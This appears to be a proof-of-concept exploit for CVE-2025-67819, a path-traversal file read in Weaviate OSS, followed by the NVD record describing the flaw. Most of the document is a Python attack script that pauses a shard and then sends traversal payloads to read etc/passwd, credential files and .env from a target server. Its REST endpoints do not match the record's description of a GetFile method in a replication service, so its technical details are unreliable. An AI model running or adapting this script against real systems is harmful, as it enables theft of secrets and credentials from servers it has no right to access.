CVE-2025-67819

# CVE-2025-67819 PoC - Weaviate OSS Arbitrary File Read # This PoC demonstrates the file path traversal in GetFile method import requests import json TARGET = "http://target-weaviate-server:8080" API_KEY = "your-api-key" # High privilege API key required headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } def trigger_pause_file_activity(): """Trigger the shard to enter 'Pause file activity' state""" pause_url = f"{TARGET}/v1/shards/pause-file-activity" payload = { "className": "YourClass", "shardName": "target-shard" } response = requests.post(pause_url, headers=headers, json=payload) return response.status_code == 200 def exploit_file_read(filepath): """Exploit the GetFile method to read arbitrary files""" file_read_url = f"{TARGET}/v1/files/read" # Construct malicious request with path traversal payload = { "className": "YourClass", "shardName": "target-shard", "fileName": f"../../../../{filepath}" # Path traversal } response = requests.get(file_read_url, headers=headers, params=payload) if response.status_code == 200: print(f"[+] Successfully read file: {filepath}") print(f"[+] Content:\n{response.text}") return response.text else: print(f"[-] Failed to read file: {filepath}") return None def main(): print("[*] CVE-2025-67819 Weaviate OSS Arbitrary File Read Exploit") # Step 1: Trigger pause file activity state if not trigger_pause_file_activity(): print("[-] Failed to trigger pause state") return print("[+] Shard entered 'Pause file activity' state") # Step 2: Read sensitive files sensitive_files = [ "etc/passwd", "weaviate/config.json", "weaviate/credentials.json", ".env" ] for filepath in sensitive_files: exploit_file_read(filepath) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-67819", "sourceIdentifier": "[email protected]", "published": "2025-12-12T17:15:45.697", "lastModified": "2025-12-19T15:38:42.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Weaviate OSS before 1.33.4. Due to a lack of validation of the fileName field in the transfer logic, an attacker who can call the GetFile method while a shard is in the \"Pause file activity\" state and the FileReplicationService is reachable can read arbitrary files accessible to the service process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.30.0", "versionEndIncluding": "1.30.19", "matchCriteriaId": "AB306075-3057-4BB2-AE5B-2C921334F225"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.31.0", "versionEndIncluding": "1.31.18", "matchCriteriaId": "CC712431-DA4B-453B-8F98-5105AAB29254"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.32.0", "versionEndIncluding": "1.32.15", "matchCriteriaId": "469882C7-C780-4374-8C38-60F39ADF012A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:weaviate:weaviate:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.33.0", "versionEndIncluding": "1.33.3", "matchCriteriaId": "14DB7679-8ED5-4315-8D6E-82895E5DB466"}]}]}], "references": [{"url": "https://github.com/weaviate/weaviate", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://weaviate.io/blog/weaviate-security-release-november-2025", "source": "[email protected]", "tags": ["Release Notes"]}]}}